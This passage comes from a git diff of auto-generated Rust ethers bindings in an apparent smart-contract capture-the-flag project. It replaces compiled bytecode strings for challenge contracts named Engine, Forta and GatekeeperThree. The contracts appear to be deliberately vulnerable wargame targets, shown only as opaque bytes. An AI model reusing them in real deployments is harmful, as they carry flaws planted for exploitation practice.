\x01\x80a\x04I`.\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[`\0Ta\x01\0\x90\x04`\xFF\x16\x15\x80\x15a\x02\x12W`\0\x80T`\xFF\x19a\xFF\0\x19\x90\x91\x16a\x01\0\x17\x16`\x01\x17\x90U[a\x03\xE8`\x01U`\0\x80Tb\x01\0\0`\x01`\xB0\x1B\x03\x19\x163b\x01\0\0\x02\x17\x90U\x80\x15a\x02CW`\0\x80Ta\xFF\0\x19\x16\x90U[PV[`\0Tb\x01\0\0\x90\x04`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0Tb\x01\0\0\x90\x04`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02\xB0W`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\r`$\x82\x01RlCan't upgrade`\x98\x1B`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[V[a\x02\xBB\x82a\x03\xBDV[\x80Q\x15a\x01{W`\0\x82`\x01`\x01`\xA0\x1B\x03\x16\x82`@Q\x80\x82\x80Q\x90` \x01\x90\x80\x83\x83[` \x83\x10a\x02\xFEW\x80Q\x82R`\x1F\x19\x90\x92\x01\x91` \x91\x82\x01\x91\x01a\x02\xDFV[`\x01\x83` \x03a\x01\0\n\x03\x80\x19\x82Q\x16\x81\x84Q\x16\x80\x82\x17\x85RPPPPPP\x90P\x01\x91PP`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x03^W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x03cV[``\x91P[PP\x90P\x80a\x03\xA7W`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0B`$\x82\x01Rj\x10\xD8[\x1B\x08\x19\x98Z[\x19Y`\xAA\x1B`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[PPPV[`\0a\x03\xB70a\x04BV[\x15\x90P\x90V[a\x03\xC6\x81a\x04BV[a\x04\x01W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`-\x81R` \x01\x80a\x04w`-\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBC\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[;\x15\x15\x90V\xFEInitializable: contract is already initializedERC1967: new implementation is not a contract\xA2dipfsX\"\x12 (\xF5\x8D\x9Db\xDA\xCA\x94\xCEhD\xB4\xC7=7s\xFA\xE3\x14C}\xA3g\x0E*\x06\x9B\xCA\"\x80\xB9a\x03cV[``\x91P[PP\x90P\x80a\x03\xA7W`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0B`$\x82\x01Rj\x10\xD8[\x1B\x08\x19\x98Z[\x19Y`\xAA\x1B`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[PPPV[`\0a\x03\xB70a\x04BV[\x15\x90P\x90V[a\x03\xC6\x81a\x04BV[a\x04\x01W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`-\x81R` \x01\x80a\x04w`-\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBC\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[;\x15\x15\x90V\xFEInitializable: contract is already initializedERC1967: new implementation is not a contract\xA2dipfsX\"\x12 )\xAD\xB2i\xAF\x1E\xB7U\xB8p\xD0\xC1\xA2}Y~g\xAE{@i\xE4\xED\xD8\xE8\xF6\x10\xE7\xFA\xCD\x14\xD6dsolcC\0\x06\x0C\x003"; /// The deployed bytecode of the contract. pub static ENGINE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/forta.rs b/ctf/src/abi/forta.rs index 033fa41..8656a7f 100644 --- a/ctf/src/abi/forta.rs +++ b/ctf/src/abi/forta.rs @@ -153,12 +153,12 @@ pub mod forta { pub static FORTA_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x03y\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c\x08zC\xC1\x14a\0\\W\x80c\x9E\x10\x83\xCA\x14a\0qW\x80c\x9E\x92|h\x14a\0\xB7W\x80c\xDCp/\xA0\x14a\0\xF4W\x80c\xFA\x1F\xD2\x8C\x14a\x01\"W[`\0\x80\xFD[a\0oa\0j6`\x04a\x027V[a\x015V[\0[a\0\x9Aa\0\x7F6`\x04a\x027V[`\0` \x81\x90R\x90\x81R`@\x90 T`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0oa\0\xC56`\x04a\x027V[3`\0\x90\x81R` \x81\x90R`@\x90 \x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[a\x01\x14a\x01\x026`\x04a\x027V[`\x01` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01a\0\xAEV[a\0oa\x0106`\x04a\x02YV[a\x01\x83V[`\x01`\x01`\xA0\x1B\x03\x81\x81\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x163\x14a\x01YWPV[3`\0\x90\x81R`\x01` \x81\x90R`@\x82 \x80T\x91\x92\x90\x91a\x01{\x90\x84\x90a\x02\xDCV[\x90\x91UPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x16a\x01\xA7WPPPV[`\x01`\x01`\xA0\x1B\x03\x80\x84\x16`\0\x90\x81R` \x81\x90R`@\x90\x81\x90 T\x90Qc\x11\x05[U`\xE1\x1B\x81R\x91\x16\x90c\"\n\xB6\xAA\x90a\x01\xEA\x90\x86\x90\x86\x90\x86\x90`\x04\x01a\x03\x03V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02\x04W`\0\x80\xFD[PZ\xF1\x92PPP\x80\x15a\x02\x15WP`\x01[PPPPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x022W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02IW`\0\x80\xFD[a\x02R\x82a\x02\x1BV[\x93\x92PPPV[`\0\x80`\0`@\x84\x86\x03\x12\x15a\x02nW`\0\x80\xFD[a\x02w\x84a\x02\x1BV[\x92P` \x84\x015g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x02\x94W`\0\x80\xFD[\x81\x86\x01\x91P\x86`\x1F\x83\x01\x12a\x02\xA8W`\0\x80\xFD[\x815\x81\x81\x11\x15a\x02\xB7W`\0\x80\xFD[\x87` \x82\x85\x01\x01\x11\x15a\x02\xC9W`\0\x80\xFD[` \x83\x01\x94P\x80\x93PPPP\x92P\x92P\x92V[\x80\x82\x01\x80\x82\x11\x15a\x02\xFDWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x84\x16\x81R`@` \x82\x01\x81\x90R\x81\x01\x82\x90R\x81\x83``\x83\x017`\0\x81\x83\x01``\x90\x81\x01\x91\x90\x91R`\x1F\x90\x92\x01`\x1F\x19\x16\x01\x01\x92\x91PPV\xFE\xA2dipfsX\"\x12 P\xFD\xB9\x89\xAC\x08t\x13\x8B\xCE\xBF\x88\xB9\x8B\xA4\xEA\xB9\x0F\x0F\xB8\x95\xED\x1B\xB3\x19O\xD7R,\xAC\x7F\x95dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x03y\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c\x08zC\xC1\x14a\0\\W\x80c\x9E\x10\x83\xCA\x14a\0qW\x80c\x9E\x92|h\x14a\0\xB7W\x80c\xDCp/\xA0\x14a\0\xF4W\x80c\xFA\x1F\xD2\x8C\x14a\x01\"W[`\0\x80\xFD[a\0oa\0j6`\x04a\x027V[a\x015V[\0[a\0\x9Aa\0\x7F6`\x04a\x027V[`\0` \x81\x90R\x90\x81R`@\x90 T`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0oa\0\xC56`\x04a\x027V[3`\0\x90\x81R` \x81\x90R`@\x90 \x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[a\x01\x14a\x01\x026`\x04a\x027V[`\x01` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01a\0\xAEV[a\0oa\x0106`\x04a\x02YV[a\x01\x83V[`\x01`\x01`\xA0\x1B\x03\x81\x81\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x163\x14a\x01YWPV[3`\0\x90\x81R`\x01` \x81\x90R`@\x82 \x80T\x91\x92\x90\x91a\x01{\x90\x84\x90a\x02\xDCV[\x90\x91UPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x16a\x01\xA7WPPPV[`\x01`\x01`\xA0\x1B\x03\x80\x84\x16`\0\x90\x81R` \x81\x90R`@\x90\x81\x90 T\x90Qc\x11\x05[U`\xE1\x1B\x81R\x91\x16\x90c\"\n\xB6\xAA\x90a\x01\xEA\x90\x86\x90\x86\x90\x86\x90`\x04\x01a\x03\x03V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02\x04W`\0\x80\xFD[PZ\xF1\x92PPP\x80\x15a\x02\x15WP`\x01[PPPPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x022W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02IW`\0\x80\xFD[a\x02R\x82a\x02\x1BV[\x93\x92PPPV[`\0\x80`\0`@\x84\x86\x03\x12\x15a\x02nW`\0\x80\xFD[a\x02w\x84a\x02\x1BV[\x92P` \x84\x015g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x02\x94W`\0\x80\xFD[\x81\x86\x01\x91P\x86`\x1F\x83\x01\x12a\x02\xA8W`\0\x80\xFD[\x815\x81\x81\x11\x15a\x02\xB7W`\0\x80\xFD[\x87` \x82\x85\x01\x01\x11\x15a\x02\xC9W`\0\x80\xFD[` \x83\x01\x94P\x80\x93PPPP\x92P\x92P\x92V[\x80\x82\x01\x80\x82\x11\x15a\x02\xFDWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x84\x16\x81R`@` \x82\x01\x81\x90R\x81\x01\x82\x90R\x81\x83``\x83\x017`\0\x81\x83\x01``\x90\x81\x01\x91\x90\x91R`\x1F\x90\x92\x01`\x1F\x19\x16\x01\x01\x92\x91PPV\xFE\xA2dipfsX\"\x12 \x94?\xEC\x91p\tf\x18{\xEC\x17\xFD\x8A\xCES\xD5\xE0>\xC3\x8F\xB4\xF4\xE1#\x15\xDF\xFE)*\x1B\\\xFAdsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static FORTA_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c\x08zC\xC1\x14a\0\\W\x80c\x9E\x10\x83\xCA\x14a\0qW\x80c\x9E\x92|h\x14a\0\xB7W\x80c\xDCp/\xA0\x14a\0\xF4W\x80c\xFA\x1F\xD2\x8C\x14a\x01\"W[`\0\x80\xFD[a\0oa\0j6`\x04a\x027V[a\x015V[\0[a\0\x9Aa\0\x7F6`\x04a\x027V[`\0` \x81\x90R\x90\x81R`@\x90 T`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0oa\0\xC56`\x04a\x027V[3`\0\x90\x81R` \x81\x90R`@\x90 \x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[a\x01\x14a\x01\x026`\x04a\x027V[`\x01` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01a\0\xAEV[a\0oa\x0106`\x04a\x02YV[a\x01\x83V[`\x01`\x01`\xA0\x1B\x03\x81\x81\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x163\x14a\x01YWPV[3`\0\x90\x81R`\x01` \x81\x90R`@\x82 \x80T\x91\x92\x90\x91a\x01{\x90\x84\x90a\x02\xDCV[\x90\x91UPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x16a\x01\xA7WPPPV[`\x01`\x01`\xA0\x1B\x03\x80\x84\x16`\0\x90\x81R` \x81\x90R`@\x90\x81\x90 T\x90Qc\x11\x05[U`\xE1\x1B\x81R\x91\x16\x90c\"\n\xB6\xAA\x90a\x01\xEA\x90\x86\x90\x86\x90\x86\x90`\x04\x01a\x03\x03V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02\x04W`\0\x80\xFD[PZ\xF1\x92PPP\x80\x15a\x02\x15WP`\x01[PPPPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x022W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02IW`\0\x80\xFD[a\x02R\x82a\x02\x1BV[\x93\x92PPPV[`\0\x80`\0`@\x84\x86\x03\x12\x15a\x02nW`\0\x80\xFD[a\x02w\x84a\x02\x1BV[\x92P` \x84\x015g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x02\x94W`\0\x80\xFD[\x81\x86\x01\x91P\x86`\x1F\x83\x01\x12a\x02\xA8W`\0\x80\xFD[\x815\x81\x81\x11\x15a\x02\xB7W`\0\x80\xFD[\x87` \x82\x85\x01\x01\x11\x15a\x02\xC9W`\0\x80\xFD[` \x83\x01\x94P\x80\x93PPPP\x92P\x92P\x92V[\x80\x82\x01\x80\x82\x11\x15a\x02\xFDWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x84\x16\x81R`@` \x82\x01\x81\x90R\x81\x01\x82\x90R\x81\x83``\x83\x017`\0\x81\x83\x01``\x90\x81\x01\x91\x90\x91R`\x1F\x90\x92\x01`\x1F\x19\x16\x01\x01\x92\x91PPV\xFE\xA2dipfsX\"\x12 P\xFD\xB9\x89\xAC\x08t\x13\x8B\xCE\xBF\x88\xB9\x8B\xA4\xEA\xB9\x0F\x0F\xB8\x95\xED\x1B\xB3\x19O\xD7R,\xAC\x7F\x95dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c\x08zC\xC1\x14a\0\\W\x80c\x9E\x10\x83\xCA\x14a\0qW\x80c\x9E\x92|h\x14a\0\xB7W\x80c\xDCp/\xA0\x14a\0\xF4W\x80c\xFA\x1F\xD2\x8C\x14a\x01\"W[`\0\x80\xFD[a\0oa\0j6`\x04a\x027V[a\x015V[\0[a\0\x9Aa\0\x7F6`\x04a\x027V[`\0` \x81\x90R\x90\x81R`@\x90 T`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0oa\0\xC56`\x04a\x027V[3`\0\x90\x81R` \x81\x90R`@\x90 \x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[a\x01\x14a\x01\x026`\x04a\x027V[`\x01` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01a\0\xAEV[a\0oa\x0106`\x04a\x02YV[a\x01\x83V[`\x01`\x01`\xA0\x1B\x03\x81\x81\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x163\x14a\x01YWPV[3`\0\x90\x81R`\x01` \x81\x90R`@\x82 \x80T\x91\x92\x90\x91a\x01{\x90\x84\x90a\x02\xDCV[\x90\x91UPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x16a\x01\xA7WPPPV[`\x01`\x01`\xA0\x1B\x03\x80\x84\x16`\0\x90\x81R` \x81\x90R`@\x90\x81\x90 T\x90Qc\x11\x05[U`\xE1\x1B\x81R\x91\x16\x90c\"\n\xB6\xAA\x90a\x01\xEA\x90\x86\x90\x86\x90\x86\x90`\x04\x01a\x03\x03V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02\x04W`\0\x80\xFD[PZ\xF1\x92PPP\x80\x15a\x02\x15WP`\x01[PPPPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x022W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02IW`\0\x80\xFD[a\x02R\x82a\x02\x1BV[\x93\x92PPPV[`\0\x80`\0`@\x84\x86\x03\x12\x15a\x02nW`\0\x80\xFD[a\x02w\x84a\x02\x1BV[\x92P` \x84\x015g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x02\x94W`\0\x80\xFD[\x81\x86\x01\x91P\x86`\x1F\x83\x01\x12a\x02\xA8W`\0\x80\xFD[\x815\x81\x81\x11\x15a\x02\xB7W`\0\x80\xFD[\x87` \x82\x85\x01\x01\x11\x15a\x02\xC9W`\0\x80\xFD[` \x83\x01\x94P\x80\x93PPPP\x92P\x92P\x92V[\x80\x82\x01\x80\x82\x11\x15a\x02\xFDWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x84\x16\x81R`@` \x82\x01\x81\x90R\x81\x01\x82\x90R\x81\x83``\x83\x017`\0\x81\x83\x01``\x90\x81\x01\x91\x90\x91R`\x1F\x90\x92\x01`\x1F\x19\x16\x01\x01\x92\x91PPV\xFE\xA2dipfsX\"\x12 \x94?\xEC\x91p\tf\x18{\xEC\x17\xFD\x8A\xCES\xD5\xE0>\xC3\x8F\xB4\xF4\xE1#\x15\xDF\xFE)*\x1B\\\xFAdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static FORTA_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/gatekeeper_three.rs b/ctf/src/abi/gatekeeper_three.rs index d6ce0e2..5066e58 100644 --- a/ctf/src/abi/gatekeeper_three.rs +++ b/ctf/src/abi/gatekeeper_three.rs @@ -165,12 +165,12 @@ pub mod gatekeeper_three { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x06r\x80a\0 `\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0\x7FW`\x005`\xE0\x1C\x80c\xB9\x96nV\x11a\0NW\x80c\xB9\x96nV\x14a\x019W\x80c\xC9`\x17N\x14a\x01_W\x80c\xE9}\xCBb\x14a\x01\x7FW\x80c\xF7\xED\xF0\x99\x14a\x01\x94W`\0\x80\xFD[\x80c\x0C=\x9F\xED\x14a\0\x8BW\x80ci\r\xA2\xB2\x14a\0\xC1W\x80c\x8D\xA5\xCB[\x14a\0\xF9W\x80c\x9D\xB3\x1Dw\x14a\x01\x19W`\0\x80\xFD[6a\0\x86W\0[`\0\x80\xFD[4\x80\x15a\0\x97W`\0\x80\xFD[P`\x01Ta\0\xAC\x90`\x01`\xA0\x1B\x90\x04`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xCDW`\0\x80\xFD[P`\x02Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0\xB8V[4\x80\x15a\x01\x05W`\0\x80\xFD[P`\0Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[4\x80\x15a\x01%W`\0\x80\xFD[P`\x01Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[4\x80\x15a\x01EW`\0\x80\xFD[Pa\x01]`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90UV[\0[4\x80\x15a\x01kW`\0\x80\xFD[Pa\x01]a\x01z6`\x04a\x03\x8AV[a\x01\xA9V[4\x80\x15a\x01\x8BW`\0\x80\xFD[Pa\x01]a\x024V[4\x80\x15a\x01\xA0W`\0\x80\xFD[Pa\x01]a\x02\xD3V[`\x02T`@Qc\x9EK.G`\xE0\x1B\x81R`\x04\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\x9EK.G\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01\xF4W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\x18\x91\x90a\x03\xA3V[\x15a\x021W`\x01\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90U[PV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02KW`\0\x80\xFD[`\0T`\x01`\x01`\xA0\x1B\x03\x162\x03a\x02bW`\0\x80\xFD[`\x01\x80T`\x01`\xA0\x1B\x90\x04`\xFF\x16\x15\x15\x14a\x02|W`\0\x80\xFD[f\x03\x8D~\xA4\xC6\x80\0G\x11\x80\x15a\x02\xB9WP`\0\x80T`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x91\x90f\x03\x8D~\xA4\xC6\x80\0\x90\x82\x81\x81\x81\x85\x88\x83\xF1\x15\x93PPPP[\x15a\x02\xD1W`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x162\x17\x90U[V[0`@Qa\x02\xE0\x90a\x03}V[`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90`\0\xF0\x80\x15\x80\x15a\x03\x0CW=`\0\x80>=`\0\xFD[P`\x02\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x82\x17\x90U`@\x80QcL\xBB\x81\x7F`\xE0\x1B\x81R\x90QcL\xBB\x81\x7F\x91`\x04\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x03cW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x03wW=`\0\x80>=`\0\xFD[PPPPV[a\x02p\x80a\x03\xCD\x839\x01\x90V[`\0` \x82\x84\x03\x12\x15a\x03\x9CW`\0\x80\xFD[P5\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x03\xB5W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x03\xC5W`\0\x80\xFD[\x93\x92PPPV\xFE`\x80`@RB`\x02U4\x80\x15a\0\x14W`\0\x80\xFD[P`@Qa\x02p8\x03\x80a\x02p\x839\x81\x01`@\x81\x90Ra\x003\x91a\0XV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x88V[`\0` \x82\x84\x03\x12\x15a\0jW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x81W`\0\x80\xFD[\x93\x92PPPV[a\x01\xD9\x80a\0\x97`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80cL\xBB\x81\x7F\x14a\0\\W\x80ci\r\xA2\xB2\x14a\0uW\x80c\x9EK.G\x14a\0\xA5W\x80c\xB7\xE0\x02\x91\x14a\0\xC8W\x80c\xD4\xB89\x92\x14a\0\xD0W[`\0\x80\xFD[a\0s`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x160\x17\x90UV[\0[`\x01Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xB8a\0\xB36`\x04a\x01\x8AV[a\0\xE3V[`@Q\x90\x15\x15\x81R` \x01a\0\x9CV[a\0sa\x01\x01V[`\0Ta\0\x88\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0`\x02T\x82\x03a\0\xF6WP`\x01\x91\x90PV[PPB`\x02U`\0\x90V[03\x14\x80\x15a\x01\x1BWP`\x01T`\x01`\x01`\xA0\x1B\x03\x160\x14\x15[\x15a\x01\x88W`\0T`\x02T`@Qcd\xB0\x0B\xA7`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16\x91c\xC9`\x17N\x91a\x01U\x91`\x04\x01\x90\x81R` \x01\x90V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01oW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x83W=`\0\x80>=`\0\xFD[PPPP[V[`\0` \x82\x84\x03\x12\x15a\x01\x9CW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 \x1E\xAC\x13)\x06\x0B\x9D\xCB\xACw\xB0Fb\xA1\x7F\xD7\xFE)#\xD2\x97J\xC6\xC1^&\t\xDBB\xDD\x88~dsolcC\0\x08\x15\x003\xA2dipfsX\"\x12 feD\xEC\"Sw\xE2\x0E\xB3\xD7\xC2T>\xF0\xAD\xB1@#yBQ4\xBE\x95\x95,sf!\x87\xB1dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x06r\x80a\0 `\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0\x7FW`\x005`\xE0\x1C\x80c\xB9\x96nV\x11a\0NW\x80c\xB9\x96nV\x14a\x019W\x80c\xC9`\x17N\x14a\x01_W\x80c\xE9}\xCBb\x14a\x01\x7FW\x80c\xF7\xED\xF0\x99\x14a\x01\x94W`\0\x80\xFD[\x80c\x0C=\x9F\xED\x14a\0\x8BW\x80ci\r\xA2\xB2\x14a\0\xC1W\x80c\x8D\xA5\xCB[\x14a\0\xF9W\x80c\x9D\xB3\x1Dw\x14a\x01\x19W`\0\x80\xFD[6a\0\x86W\0[`\0\x80\xFD[4\x80\x15a\0\x97W`\0\x80\xFD[P`\x01Ta\0\xAC\x90`\x01`\xA0\x1B\x90\x04`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xCDW`\0\x80\xFD[P`\x02Ta\0\xE1\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` 